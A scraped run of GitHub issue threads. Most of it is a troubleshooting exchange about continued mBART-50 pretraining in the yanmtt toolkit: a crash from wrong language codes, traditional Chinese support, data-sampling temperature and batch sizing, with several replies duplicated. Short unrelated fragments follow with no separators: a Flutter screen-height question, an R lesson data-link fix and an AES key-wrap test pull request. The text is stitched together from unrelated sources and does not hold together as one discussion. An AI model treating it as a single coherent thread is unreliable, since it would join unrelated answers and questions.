File "pretrain_nmt_new.py", line 970, in
run_demo()
File "pretrain_nmt_new.py", line 967, in run_demo
mp.spawn(model_create_load_run_save, nprocs=args.gpus, args=(args,files,train_files,))         #
File "/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 199, in spawn
return start_processes(fn, args, nprocs, join, daemon, start_method='spawn')
File "/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 157, in start_processes
while not context.join():
File "/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 118, in join
raise Exception(msg)
Exception:
-- Process 0 terminated with the following error:
Traceback (most recent call last):
File "/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 19, in _wrap
fn(i, args)
File "/mt_mbart/yanmtt/pretrain_nmt_new.py", line 523, in model_create_load_run_save
lprobs, labels, args.label_smoothing, ignore_index=tok.pad_token_id
File "***/mt_mbart/yanmtt/common_utils.py", line 147, in label_smoothed_nll_loss
smooth_loss.masked_fill_(pad_mask, 0.0)
RuntimeError: The expanded size of the tensor (27) must match the existing size (26) at non-singleton dimension 1.  Target sizes: [15, 27, 1].  Tensor sizes: [15, 26, 1]`
and my script setting is : nohup python pretrain_nmt_new.py -n 1  -nr 0 -g 2 --model_path gen_model/mbart_v1/mbart-50-v1 --tokenizer_name_or_path pretrain_model/mbart-50 --langs en,es,vi,id,th,pt,zh,ko --mono_src hyb_train_v1/train.en,hyb_train_v1/train.es,hyb_train_v1/train.vi,hyb_train_v1/train.id,hyb_train_v1/train.th,hyb_train_v1/train.pt,hyb_train_v1/train.zh,hyb_train_v1/train.ko --encoder_layers 12 --decoder_layers 12 --encoder_attention_heads=12 --decoder_attention_heads=12 --encoder_ffn_dim=128 --decoder_ffn_dim=4096 --d_model=1024 --batch_size 512 --use_official_pretrained --pretrained_model pretrain_model/mbart-50 --no_reload_optimizer_ctr_and_scheduler --long_save_every 50000 --save_intermediate_checkpoints --shard_files > gen_model/mbart_v1/run_train.log 2>&1 &

No you don't need the domain classifier flags.
The reason for the failure is that the language ids you use should be corresponding to what is used in mbart.
en should be EN_XX
Look at the official mbart model repo and find the ids for other languages.

@prajdabre very thanks for your Quickly reply
this is the official format of langs in mBart-large-50
`Arabic (ar_AR), Czech (cs_CZ), German (de_DE), English (en_XX), Spanish (es_XX), Estonian (et_EE), Finnish (fi_FI), French (fr_XX), Gujarati (gu_IN), Hindi (hi_IN), Italian (it_IT), Japanese (ja_XX), Kazakh (kk_KZ), Korean (ko_KR), Lithuanian (lt_LT), Latvian (lv_LV), Burmese (my_MM), Nepali (ne_NP), Dutch (nl_XX), Romanian (ro_RO), Russian (ru_RU), Sinhala (si_LK), Turkish (tr_TR), Vietnamese (vi_VN), Chinese (zh_CN), Afrikaans (af_ZA), Azerbaijani (az_AZ), Bengali (bn_IN), Persian (fa_IR), Hebrew (he_IL), Croatian (hr_HR), Indonesian (id_ID), Georgian (ka_GE), Khmer (km_KH), Macedonian (mk_MK), Malayalam (ml_IN), Mongolian (mn_MN), Marathi (mr_IN), Polish (pl_PL), Pashto (ps_AF), Portuguese (pt_XX), Swedish (sv_SE), Swahili (sw_KE), Tamil (ta_IN), Telugu (te_IN), Thai (th_TH), Tagalog (tl_XX), Ukrainian (uk_UA), Urdu (ur_PK), Xhosa (xh_ZA), Galician (gl_ES), Slovene (sl_SI)
` from https://huggingface.co/facebook/mbart-large-50
and what I don't understand is When I pre-trained a single language, I did just use "en", not "EN_XX", and it run successful, and in the project's examples I saw in example/train_mbart_model.sh are all format similar to "--langs hi,en,vi",

That's because coincidentally the token en existed in the Mbart tokenizer. I'm betting that the token zh isn't present in the tokenizer and is split as "z# h". Whenever a language token is split into multiple parts my code crashes (intentionally).

That's because coincidentally the token en existed in the Mbart tokenizer. I'm betting that the token zh isn't present in the tokenizer and is split as "z# h". Whenever a language token is split into multiple parts my code crashes (intentionally).

ok, thanks, I will try it, and by the way, besides the --langs, the format of --mono_src, It is also necessary to strictly observe the format like zh_CN ? for example, transfer train.zh to train. zh_CN

No the training files can have any suffix.
Only during tokenizer training, the training files should have proper suffixes which act as language indicator tokens which you plan to use for model training and decoding.

No the training files can have any suffix.
Only during tokenizer training, the training files should have proper suffixes which act as language indicator tokens which you plan to use for model training and decoding.

Thank you very much. After some setting process, it has been successful;
And by the way, is that mean, if I continue pre train with new language, for example, I continue pre train based on mBart-50, but there is not Traditional Chinese in mBart50, only have Simplified Chinese, and if I add traditional Chinese, I have to pre train from scratch? @prajdabre

To my understanding, mbart-50 does not officially support traditional Chinese. Firstly you will have to check if the mbart-50 tokenizer can handle all traditional characters or not.
If it does then you may directly train. If not you have 2 strategies:

Convert from traditional to simplified using some mapping table.
Pretrain from scratch.

Thanks a lot @prajdabre

@prajdabre oh, I have another confusion，I'm running continue pre training task train_mbart_model.sh in 2-GPUs based on 8languages Training for: ['en_XX', 'es_XX', 'vi_VN', 'id_ID', 'th_TH', 'pt_XX', 'zh_CN', 'ko_KR'],  and the setting as follow:
nohup python pretrain_nmt.py -n 1  -nr 0 -g 2 --model_path gen_model/mbart_v1/mbart-50-v1 --tokenizer_name_or_path pretrain_model/mbart-50 --langs en_XX,es_XX,vi_VN,id_ID,th_TH,pt_XX,zh_CN,ko_KR --mono_src hyb_train_v1/train.en,hyb_train_v1/train.es,hyb_train_v1/train.vi,hyb_train_v1/train.id,hyb_train_v1/train.th,hyb_train_v1/train.pt,hyb_train_v1/train.zh,hyb_train_v1/train.ko --encoder_layers 12 --decoder_layers 12 --encoder_attention_heads=12 --decoder_attention_heads=12 --encoder_ffn_dim=128 --decoder_ffn_dim=4096 --d_model=1024 --batch_size 512 --use_official_pretrained --pretrained_model pretrain_model/mbart-50 --no_reload_optimizer_ctr_and_scheduler --long_save_every 50000 --save_intermediate_checkpoints --shard_files > gen_model/mbart_v1/run_train.log 2>&1 &
and the strange thing is that after 380k batches, the run_train.log shows only one language's training(ko_KR), and it seems that another language not appear the run_train.log,
Finished epoch 10 for language: ko_KR 379500 6.06 42.11 seconds for 100 batches. Memory used post forward / backward passes: 11.9 / 13.32 GB. 379600 5.85 42.44 seconds for 100 batches. Memory used post forward / backward passes: 11.92 / 13.33 GB. 379700 5.74 42.34 seconds for 100 batches. Memory used post forward / backward passes: 11.98 / 13.36 GB. 379800 5.44 38.15 seconds for 100 batches. Memory used post forward / backward passes: 10.72 / 12.69 GB. 379900 6.02 42.54 seconds for 100 batches. Memory used post forward / backward passes: 12.08 / 13.37 GB.
do you know the reason？

@prajdabre oh, I have another confusion，I'm running continue pre training task train_mbart_model.sh in 2-GPUs based on 8languages Training for: ['en_XX', 'es_XX', 'vi_VN', 'id_ID', 'th_TH', 'pt_XX', 'zh_CN', 'ko_KR'], and the setting as follow: nohup python pretrain_nmt.py -n 1 -nr 0 -g 2 --model_path gen_model/mbart_v1/mbart-50-v1 --tokenizer_name_or_path pretrain_model/mbart-50 --langs en_XX,es_XX,vi_VN,id_ID,th_TH,pt_XX,zh_CN,ko_KR --mono_src hyb_train_v1/train.en,hyb_train_v1/train.es,hyb_train_v1/train.vi,hyb_train_v1/train.id,hyb_train_v1/train.th,hyb_train_v1/train.pt,hyb_train_v1/train.zh,hyb_train_v1/train.ko --encoder_layers 12 --decoder_layers 12 --encoder_attention_heads=12 --decoder_attention_heads=12 --encoder_ffn_dim=128 --decoder_ffn_dim=4096 --d_model=1024 --batch_size 512 --use_official_pretrained --pretrained_model pretrain_model/mbart-50 --no_reload_optimizer_ctr_and_scheduler --long_save_every 50000 --save_intermediate_checkpoints --shard_files > gen_model/mbart_v1/run_train.log 2>&1 &  and the strange thing is that after 380k batches, the run_train.log shows only one language's training(ko_KR), and it seems that another language not appear in the run_train.log, That is to say, they have not participated in the training yet, Finished epoch 10 for language: ko_KR 379500 6.06 42.11 seconds for 100 batches. Memory used post forward / backward passes: 11.9 / 13.32 GB. 379600 5.85 42.44 seconds for 100 batches. Memory used post forward / backward passes: 11.92 / 13.33 GB. 379700 5.74 42.34 seconds for 100 batches. Memory used post forward / backward passes: 11.98 / 13.36 GB. 379800 5.44 38.15 seconds for 100 batches. Memory used post forward / backward passes: 10.72 / 12.69 GB. 379900 6.02 42.54 seconds for 100 batches. Memory used post forward / backward passes: 12.08 / 13.37 GB.
do you know the reason？

by the way, supplement
lang|raws
en | 84747184
es | 7923542
vi | 21776227
pt | 3865782
th | 1343809
id | 14221194
zh_cn | 15662924
ko | 38642
and --num_batches = 2000000, bach_size = 512

Hi
Your supplementary information about corpora sizes answers it all.
Since Korean has the smallest data it will finish far more epochs before others finish one epoch. This is because there is a data sampling hyperparam called --data_sampling_temperature which is set to 5. This means that smaller data will be seen more often to keep training from focusing on the higher resource languages.  I think you will see 1 epoch for Thai after 20 or so epochs for Korean.

Hi
Your supplementary information about corpora sizes answers it all.
Since Korean has the smallest data it will finish far more epochs before others finish one epoch. This is because there is a data sampling hyperparam called --data_sampling_temperature which is set to 5. This means that smaller data will be seen more often to keep training from focusing on the higher resource languages. I think you will see 1 epoch for Thai after 20 or so epochs for Korean.

oh thank you very much, I see I have neglected the parameter --data_sampling_temperature, and If that's the case, then I'll have to thinking about resetting --num_batches to another larger value,
Before, I would have thought that if there was no oversampling, the whole epoch number of all language is 7:
num of batch in per epoch is:  Sun_raws(0.14billion) / batch_size(512) = 273437
so num of epoch is: num_batches(2000000) / num of batch in per epoch(273437)= 7
but now after 380k num batches, haven't even finished one epoch for another 7 languages, so probably after 2000000 batches, some high resource language will not be fully trained, I don't know if I'm right in thinking this way @prajdabre

A correction: The batch size doesn't indicate lines but number of tokens. If your corpus contains paragraphs then each batch per GPU contains only 2 or 3 entries for a batch of 512 tokens. If it's sentences then probably 8 or 10 sentences. Note that you should set --hard_truncate_length to 512 and --max_length to 512 as well. Else your training will skip all the data in case of paragraphs.
Anyway, with just 2 GPUs, you are going to need several tens of millions of steps. I'm afraid that with the scale of data you want to work with you need more GPUs to get results quickly. I recommend filtering the dataset to a more manageable size like 14 million examples across all languages.

A correction: The batch size doesn't indicate lines but number of tokens. If your corpus contains paragraphs then each batch per GPU contains only 2 or 3 entries for a batch of 512 tokens. If it's sentences then probably 8 or 10 sentences. Note that you should set --hard_truncate_length to 512 and --max_length to 512 as well. Else your training will skip all the data in case of paragraphs.
Anyway, with just 2 GPUs, you are going to need several tens of millions of steps. I'm afraid that with the scale of data you want to work with you need more GPUs to get results quickly. I recommend filtering the dataset to a more manageable size like 14 million examples across all languages.

@prajdabre thank you very much, it seems that my previous setting doesn't seem reasonable, actually my training set in all language is all about sentence, not paragraphs, I will set --hard_truncate_length to 512 and --max_length to 512, and a higher value of --num_batches, and set reduce the size of the training set to less than half of the current size


1.sh与MediaQuery.of(context).size.height的值不一样

能看一下两个值都是什么吗

the same thing happened to me, it is difficult to detect. when you print the value of MediaQuery and 1.sh in the same widget this if it is refreshed but if you do it in different widgets this is not updated as media query.
I think it has to do with how the get of the num extension is handled. when the get is created it returns a value and if the widget is constant this value does not change unless there is another variable that changes within the widget such as the mediaquery

what about 5.1.0？


Update data links in multivariate lesson (003)

The lesson asks learners to download an Excel file, open the file in MS Excel (or something like that), and export a CSV. Remove this step and just have learners download the CSV at https://jcoliver.github.io/learn-r/data/otter-mandible-data.csv. The Excel file also does not have the right columns or column names.

Fixed along with other updates to the lesson in 1841ed5.


Add Tests for AES Key Wrap Cipher Functionality

Added tests to apply NIST AES Key Wrap (RFC-3394 and RFC-5649) vectors to the kmyth AES Key Wrap cipher implementation.
Note: Although, I did not change the configuration for the indent utility in the makefile, a number of white-space edits were generated by building the code, and included in this very simple pull request.

Replaced by PR #105

Replaced by PR #105